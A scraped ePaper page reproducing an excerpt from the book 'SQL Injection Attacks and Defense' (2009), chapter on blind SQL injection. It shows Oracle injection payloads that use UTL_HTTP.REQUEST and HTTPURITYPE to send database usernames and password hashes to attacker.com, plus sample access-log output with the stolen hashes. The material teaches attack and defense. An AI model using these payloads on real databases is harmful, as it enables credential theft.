28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

SELECT * FROM unknowntable<br />

UNION SELECT NULL, NULL, NULL FROM<br />

LENGTH(UTL_HTTP.REQUEST('www.attacker.com/'||username||chr(61)||<br />

password))<br />

Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation • Chapter 5 257<br />

Here all usernames <strong>and</strong> passwords are sent to the attacker’s access log. This channel<br />

can also be used for the split <strong>and</strong> balance technique (where the original parameter’s value<br />

was aa):<br />

For Oracle 11g only<br />

'a'||CHR(UTL_HTTP.REQUEST('www.attacker.com/'||(SELECT sys.stragg (DISTINCT<br />

username||chr(61)||password||chr(59)) FROM dba_users)))||'a<br />

The preceding code produces the following log entry:<br />

192.168.2.165 - - [14/Jan/<strong>2009</strong>:21:34:38 +0100] "GET /SYS=<br />

AD24A888FC3B1BE7;SYSTEM= BD3D49AD69E3FA34;DBSNMP=<br />

E066D214D5421CCC;IBO=7A0F2B316C212D67;OUTLN=4A3BA55E08595C81;WMSYS=7C<br />

9BA362F8314299;ORDSYS=7C9BA362F8314299;ORDPLUGINS=88A2B2C183431F00<br />

HTTP/1.1" 404 2336<br />

For Oracle 9i Rel. 2 <strong>and</strong> higher + XMLB<br />

'a'||CHR(UTL_HTTP.REQUEST('attacker.com/'||(SELECT<br />

xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('<br />

<br />

;<br />

')).getstringval()<br />

listagg from all_users)))||'a<br />

The preceding code produces the following log entry:<br />

192.168.2.165 - - [14/Jan/<strong>2009</strong>:22:33:48 +0100] "GET<br />

/SYS;SYSTEM;DBSNMP;IBO;OUTLN;WMSYS;ORDSYS;ORDPLUGINS HTTP/1.1" 404<br />

936<br />

Using URIHTTPTYPE<br />

… UNION SELECT null,null,LENGTH(HTTPURITYPE('http://attacker/'||username||<br />

'='||password).Ggetclob FROM sys.user$ WHERE type#=0 AND<br />

LENGTH(password)=16)<br />

The web server access.log file will contain all usernames <strong>and</strong> passwords from the<br />

database.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!